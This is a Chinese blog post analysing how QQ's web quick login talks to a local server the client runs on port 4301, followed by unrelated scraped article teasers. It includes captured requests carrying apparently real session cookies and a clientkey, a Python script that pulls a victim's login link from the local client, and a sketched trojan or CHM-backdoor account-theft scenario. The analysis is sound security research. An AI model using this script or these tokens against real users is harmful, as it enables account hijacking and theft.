老话新谈:QQ快速登录分析以及风险反思

article/2025/6/7 22:19:37

前言

众所周知,Tencent以前使用Activex的方式实施QQ快速登录,现在快速登录已经不用控件了。那现在用了什么奇葩的方法做到Web和本地的应用程序交互呢?其实猜测一下,Web和本地应用进行交互可能采用http交互,事实也是如此。

快速登录分析

  1. 快速登陆框请求

https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&ptnoauth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23

https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&ptnoauth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23

  1. GET /cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F HTTP/1.1
  2. Host: xui.ptlogin2.qq.com
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate, br
  7. Referer: https://buluo.qq.com/
  8. Connection: keep-alive
  9. Upgrade-Insecure-Requests: 1

参数说明:

  • appid和daid 对应这不同的登陆服务,例如QQ空间和兴趣部落是不一样的
  • Referer必须以.qq.com域名

通过这个请求会响应cookie,比较关键的是ptlocaltoken字段

2.获取在线的QQ用户

通过上述的请求,可以获取已经登录的QQ昵称。请求与响应的具体内容如下:

请求:

  1. GET /pt_get_uins?callback=ptui_getuins_CB&r=0.70722284119771&pt_local_tk=-1335054259 HTTP/1.1
  2. Host: localhost.ptlogin2.qq.com:4301
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
  4. Accept: */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate, br
  7. Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F
  8. Cookie: pt_login_sig=SJ7R2dQseOuqFw5aaI9jiB644Ms5einfscJ5bRwUNQhiODEIvxjXz9Zfl9M7oiXL; pt_clientip=f94f0e111621e450; pt_serverip=28f40af17263c651; pt_local_token=-1335054259; uikey=f05ad77242c93930af68829cf69168c4b66d4b468840ce651b28c2bcd7587c55; pt_guid_sig=7fe38cc1b96801fbef4d41f1e91c359b2db6c9a2eef20e18e0c3e0f6ddc884fc; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726
  9. Connection: keep-alive

响应:

  1. var var_sso_uin_list=[{"account":"xxxxxxxxx","client_type":65793,"face_index":339,"gender":1,"nickname":"xxxxxxx","uin":"xxxxxxxxx","uin_flag":327156224}];ptui_getuins_CB(var_sso_uin_list);

而4301则是QQ所监听的端口。使用netstat -anto 命令可以看到监听4301端口的进程id为9284。

然后使用 tasklist|findstr "9284" 命令,发现确实为QQ.exe

3.点击用户头像

点击之后一定要注意cookie的变化。

3.1 cookie变化1

请求:

  1. GET /pt_get_st?clientuin=594675898&callback=ptui_getst_CB&r=0.9726726550496937&pt_local_tk=1692729835 HTTP/1.1
  2. Host: localhost.ptlogin2.qq.com:4301
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
  4. Accept: */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate, br
  7. Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23
  8. Cookie: pt_login_sig=f0Eq6l9zHyn*yYdNjJsUDxgkL1TNffDt*Ek7T4uB5KN9uD*SAQhmENn7Tbb2AUkB; pt_clientip=5c490e1116214b49; pt_serverip=aaa20af17263555d; pt_local_token=1692729835; uikey=2ff0398fd9f14f09281e369daf09808512791eccdd166e64088ee1a9bdfff26d; pt_guid_sig=a015dce2e00991b4181682d886b9b8dae892bd36dcb1afe3fcc2e93945a58cab; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726; qrsig=UfyPCl5FKmlPv-LqW1BONsykudZ*eQuMiyxzvPK17SSFISshoJzQNrOzd3tLVx4H; clientuin=594675898; pt2gguin=o0594675898; ETK=; pt_recent_uins=046df7337fa517d209268b658c29ffa7eed66beaed9b66d86cb700aa5bdaf630fd18757dee2e15d69465910176e5cc0328bdfcc212f7fd96; ptisp=ctc; RK=6K58L1C0Zq; ptnick_594675898=e4b880e7bc95e99d92e4b89d; ptcz=b13e557d01d48fb5f7b394288c304db80aea0ab3d62b31b492354e58b627211a
  9. Connection: keep-alive

请求:

  1. GET /jump?clientuin=xxxxxx&keyindex=9&pt_aid=715030901&daid=371&u1=https%3A%2F%2Fbuluo.qq.com%2F%23&pt_local_tk=1240200107&pt_3rd_aid=0&ptopt=1&style=40 HTTP/1.1
  2. Host: ssl.ptlogin2.qq.com
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
  4. Accept: */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate, br
  7. Referer: https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23
  8. Cookie: pt_login_sig=f0Eq6l9zHyn*yYdNjJsUDxgkL1TNffDt*Ek7T4uB5KN9uD*SAQhmENn7Tbb2AUkB; pt_clientip=5c490e1116214b49; pt_serverip=aaa20af17263555d; pt_local_token=1692729835; uikey=2ff0398fd9f14f09281e369daf09808512791eccdd166e64088ee1a9bdfff26d; pt_guid_sig=a015dce2e00991b4181682d886b9b8dae892bd36dcb1afe3fcc2e93945a58cab; pgv_pvi=2505876480; pgv_si=s8995244032; _qpsvr_localtk=0.3150553721024726; qrsig=UfyPCl5FKmlPv-LqW1BONsykudZ*eQuMiyxzvPK17SSFISshoJzQNrOzd3tLVx4H; clientuin=594675898; pt2gguin=o0594675898; ETK=; pt_recent_uins=046df7337fa517d209268b658c29ffa7eed66beaed9b66d86cb700aa5bdaf630fd18757dee2e15d69465910176e5cc0328bdfcc212f7fd96; ptisp=ctc; RK=6K58L1C0Zq; ptnick_594675898=e4b880e7bc95e99d92e4b89d; ptcz=b13e557d01d48fb5f7b394288c304db80aea0ab3d62b31b492354e58b627211a; clientkey=00015B7521C80068E41AB1BA5739F5BFF8428165C45817CBCAC835A19C6F28C251C05F04E948D4F1DDC57AB123A16F341FC805F5DC1B205847D7A8434BDAC5EE77A1E60ECA14B88E2687DD31CF8B62D6907E46CBD12501D22EC00F57E1F1F40A1F0B9DCACD61EBC3B035798289C41CDF
  9. Connection: keep-alive

在上一步的请求中,会返回最终的登陆跳转链接,把这个链接复制到浏览器中即可完成登陆

4 模拟登陆

通过上述获取的跳转链接就可以登录成功。通过对上述过程的分析,下面使用Python来进行模拟登陆。代码如下:

  1. import re
  2. import requests
  3. headers= {'Referer':'https://buluo.qq.com/',
  4. "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
  5. }
  6. ##第一步获取pt_local_token
  7. s = requests.session()
  8. r = s.get("https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&pt_no_auth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23",headers=headers)
  9. pt_local_token = r.cookies.get('pt_local_token')
  10. ##第二步获取在线的QQ用户
  11. r = s.get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.70722284119771&pt_local_tk="+pt_local_token,headers=headers)
  12. pattern = re.compile(r'"uin":"(d+)"')
  13. uin = pattern.findall(r.text)
  14. if len(uin)>0:
  15. #获取cookie
  16. s.get("https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=%s&callback=ptui_getst_CB&r=0.9726726550496937&pt_local_tk=%s"%(uin[0],pt_local_token),headers=headers)
  17. r = s.get('https://ssl.ptlogin2.qq.com/jump?clientuin=%s&keyindex=9&pt_aid=715030901&daid=371&u1=https://buluo.qq.com/&pt_local_tk=%s&pt_3rd_aid=0&ptopt=1&style=40'%(uin[0],pt_local_token),headers=headers)
  18. pattern = re.compile(r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*(),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+')
  19. url = pattern.findall(r.text)
  20. print(url[0])

QQ的快捷登录是通过在本地建立了一个服务器,并绑定了127.0.0.1,然后使浏览器访问本地服务器进行实现的。如果想盗取cookie或者是登录链接,需要黑客在你电脑上植入木马,然后和你的QQ交互才能做到。但是一细想,既然黑客已经可以在你的电脑里植入木马,完全可以获取你的QQ账号密码了。难道QQ这种通信方式真的没有反思的地方吗

个人感觉并非如此!!!QQ并没有校验请求的来源,任何一个可以发送http请求的程序均可与之交互,并获取cookie。其实这是大大降低了攻击的成本,是很容易进行恶意营销的。为什么说降低了攻击成本呢?一般的QQ盗号,是上传木马,要么截屏获取你的账号密码,要么监听你的键盘输入。这样的木马行为首先比较容易被安全软件发现,然后就算你获取了盗取了密码,在你的电脑上登陆,很容易被QQ安全中心发现,给用户发送异地登陆警告的,所以利用QQ号码盈利并不是特别的容易

但是通过本文的想法,木马在用户电脑运行,很容易获取cookie,而且安全软件并不会从你的请求中发现异样,当木马获取cookie后,就可以访问你的服务与资产,比如 在你的空间自动发帖,发邮件,查看相册等等,而且就算你换了密码都没用。盈利的方式多样,而且成本很低,传播容易。为什么说传播容易呢?

咱们可以想象这样的一个攻击场景chm文件一般是帮助文档或者是电子书,但可以作为后门,而且隐蔽性很强。chm后门和QQ交互后,获取cookie,又将自身的下载链接放到空间等等地方,继续传播。

总而言之,攻击成本降低,盈利效率提高,黑产喜欢的方式

过节了

先来张美女,镇楼。。。你们会喜欢的,哈哈

七夕过节了,给大家发个红包吧,大家如果觉得本文不错,喜欢打赏就打赏,喜欢点GG就点GG,全凭你们喜欢。。。

最后

  • 回复【6】:领取渗透测试教程

知识星球已经60多人了,随着人数的增多,价格之后会上涨,越早关注越多优惠


http://www.hkcw.cn/article/rueHcrciBh.shtml

相关文章

宿华卸任快手董事长后,41岁的他身价达到300亿,这些退隐的大佬都去了哪里?

近日,快手发布通告宣布宿华卸任董事长一职,将由CEO程一笑接任。这一变动引起了广泛关注,人们不禁好奇,那些曾经的商业巨擘在退出舞台中心之后,都会去做些什么呢? 2023年10月20日,快手发布通告称宿华卸任董事长,CEO程一笑将接过宿华肩上的担子,成为快手新任董事长。这一…

她是开国上将的孙女,4个前任个个都是顶流,如今51岁无人敢娶

她是开国上将的孙女,4个前任个个都是顶流,如今51岁无人敢娶 在新时代有很多女性都喊出了这样一个口号,那就是只恋爱不结婚,这成为了当下很多女性的一个现实需求。 可实际上,大多数女性都根本做不到这一点。 但是有这样一个人,却真正做到了这一点,她的名字叫做柯蓝。 而柯…

张自忠墓地:葬礼规模盛大,妻子绝食七日而亡,冯玉祥题字很醒目

1942年冯玉祥改名梅花山。 借典故慰忠魂玉台山之所以更名为梅花山,是源于石可法在扬州梅花岭为国捐躯的故事。 史可法是明代名臣,一生忠诚爱国。清军入关后,史可法率领明军死战扬州。 战前夜,史可法知道战斗必败,于是他给远在南京的母亲和妻子写下了遗书。 当时,多铎为了…

原创农历四月初八是什么日子,四月初八是哪个菩萨的日子?

我国很多节日时间是按照农历时间来进行的,我们确定一个节日就是看它的农历时间,其中农历四月初八是一个节日,也是一个菩萨的诞生日。那么,农历四月初八是什么日子?四月初八是哪个菩萨的日子呢?下面一起来看看吧!农历四月初八是什么日子 每年的农历四月初八,为佛教的浴佛…

养了这么多年的“柏树盆景”你能区别十大壮观的柏树盆景吗?

柏树盆景树形优美雅致,放在书房中有陶冶情操的效果,人们看了可以放松大脑、解除疲倦,有益身心健康,将柏树放在书房供人观赏可以缓解压抑的情绪,在一定程度上能促进主人事业的发展,寓意蒸蒸日上的意思,这也是柏树风水作用之一。 柏树的品种很多,它们都具有很高的观赏价值…

三级片女王!假戏真做,当过黑老大的女人,陈萍的一些血色过往

文 | 悟空 编辑 | 悟空想要好运常伴左右吗?想要天天开心吗?那就赶紧关注我吧!祝您心想事成,天天快乐! 在香港电影的黄金时代,有一类女星,她们游走在艺术与情色的边缘,用大胆的表演挑战着世俗的眼光,也成就了专属于那个时代的银幕传奇,她们被冠以“艳星”的标签,在聚…

幼儿园鸡蛋壳手工绘画,让家长都惊呆了!

幼儿园鸡蛋壳手工绘画 手工材料:鸡蛋壳、彩色卡片、彩笔、 贴纸、剪刀、胶水、零小装饰品。 操作步骤:1. 用剪刀把彩色卡片剪成花瓣形,在用胶水黏结成一个小帽子。2.将鸡蛋壳晾干后,用彩笔在蛋壳上画出人偶的眼睛、鼻子、嘴巴也可以画上俏皮的小胡子。3.等颜料干透后,在鸡…

你以为它是普通植物甚至是美味佳肴?错!你可能遇到了外来入侵物种

O2O景观汇 欢迎关注 关注 近期,我公司开展多个地市外来入侵物种普查工作。随着多项入侵物种普查工作的展开,一些我们常见的植物,熟不知却是外来入侵物种。展开全文外来入侵物种不断繁殖、扩散,严重威胁森林、草原、农田、水系等生态系统,对经济发展具有极大危害。一些外来…

摄影后期 如何利用Lab颜色进行创作

展开全文原标题: 摄影后期 如何利用Lab颜色进行创作 什么是Lab 颜色 Lab模式是根据Commission Internationale de L’Eclairage(CIE)在1931年所制定的一种测定颜色的国际标准建立的,在1976 年被改进,并且命名的一种色彩模式和色彩空间。是一种除RGB 和CMYK 颜色模式之外的替…

原创海清:出身名门,拥有“满级”儿子,为什么会下跪欧豪,自称疯狗

你是我的神 “国民媳妇”海清还是新人演员时,也曾险遭“规则” ? 当年在某聚会上,海清被一位张姓导演看中,并借参演影视女主角的机会上前搭讪她,甚至直言只要海清“陪”自己一晚,就能得到演女主角的机会。海清 但海清可不吃这一套,泼了对方一身红酒后,就气势汹汹地走了…

警惕!免费成人视频背后隐藏的危险

警惕!免费成人视频背后的安全风险 - 在这个充满诱惑的互联网世界中,成人网站为许多人带来了愉悦与满足。然而,当我们沉浸在免费的成人影片中时,是否曾考虑过其中可能隐藏的风险?本文将探讨在观看免费成人视频过程中可能面临的安全问题及应对方法。 首先,我们需要认识到,…

原创虞姬到底如何死的,宋朝一奇书记载的内容,推翻了“自刎说”

公元前202年,项羽被围于垓下,四面楚歌,军心涣散,败局已定,项羽突围之前,虞姬自刎,让项羽轻装上阵,这就是流传甚广的“霸王别姬”,故事的悲壮凄恻和虞姬的美艳刚烈,打动着一代又一代人。但宋朝一本奇书记载的内容,却推翻了“虞姬自刎之说”,给霸王别姬的美好故事蒙上…

翰墨送福 丹青迎喜

刘宗林,1981年生,西安市人。现为文化和旅游部中国书画院副院长,《中国经贸》艺术顾问,中国服务贸易协会国际交流工作委员会理事,陕西省社会科学院书画艺术中心特聘研究员,中央新影中学生频道《美育视界》栏目艺术顾问,加纳驻华大使馆文化顾问,北马其顿驻华大使馆书法顾…

真实存在的诡异幼龙?

生命在于静止。 为什么人类会发呆,会懒惰?作为一类靠头脑征服世界的物种,为什么人类会倾向于放空头脑?相反,思考与行动需要努力才能调动起来。 这不是不适宜生存吗?不是逆进化的行为吗? 不是的。因为 生命在于静止。静止可以节省能量。 “懒惰”可以说是任何动物的基本生…

原创丢脸!梅西遭中国女球迷街头强吻,怀抱幼子西罗合影,被骚扰后黑脸

10月4日消息,巴萨头牌球星梅西和妻子安东内拉青梅竹马,十分恩爱,然而今天,却有一位中国女球迷在巴塞罗那街头强吻梅西,当时梅西还抱着小儿子西罗,一脸惊愕,而这位中国女球迷则露出得意的笑。梅西和妻儿 一位中国女球迷在社交平台上分享了一段在巴塞罗那追星梅西的视频。…

21个演白素贞的女明星,王祖贤不是最经典,黄圣依不是最丑

说起白素贞,人们第一个反应过来的一定是赵雅芝版,她演得实在是太深入人心,连王祖贤这样的大美人都比不过。赵雅芝版的白素贞虽然是妖,但是更像仙,是中国人心目中最理想的贤妻惠母,善良大气,美貌度更是无敌。王祖贤演得是电影《青蛇》里的白素贞,比起赵雅芝的版本,这一…

戴手表有讲究?手表是该戴左手还是戴右手?

每个人都有自己的个人习惯,世上没有两片相同的树叶,每个人之间都存在着差异。有人喜欢秋天,有人喜欢夏天、有人喜欢甜豆花,有人喜欢咸豆花;有人习惯使用右手,当日有人习惯使用左手。在日常生活中,佩戴腕表是件很平常的事,手表也是一件很好的配饰。然而许多人说戴手表也…

原创川普家族学历最高的女性,曾是最惨千金,如何独自逆袭?

美国前总统特朗普这次可谓是损失惨重,因为过度夸大净资产而被处以3.5亿美元的罚款,而他的两个儿子也因此受到牵连。不过,与此同时,我们也想了解一下靠追随父亲一路风光的大女儿伊万卡会作何感想。但对于同样是川普的女儿蒂凡妮来说,这个处罚似乎并没有太大影响。 川普向来…

视频压缩的操作方法?学会这四种方法,轻松完成视频压缩!

视频压缩的操作方法?在处理大型视频文件时,除了文件大小的挑战之外,我们还必须考虑到数据的安全性和隐私保护的重要性,随着视频内容的增多和传输方式的多样化,数据泄露和侵犯隐私的风险也在不断增加,另外,大型视频文件的处理还可能会涉及到多种技术和工具的选择,例如,…

夏天流行“浅蓝色”,最好搭配这8种颜色,清爽干净又时尚

在炎炎夏日,浅蓝色成为了时尚界的宠儿,它清新、凉爽的特点为炎炎夏日带来了一丝清凉。浅蓝色在色彩心理学中被认为可以舒缓情绪、减轻压力,它能给人一种宽敞、开阔的感觉,同时提供柔和、温暖的视觉效果。当女人穿上浅蓝色的衬衫或者连衣裙时,整个气质就会变得清爽儒雅。浅…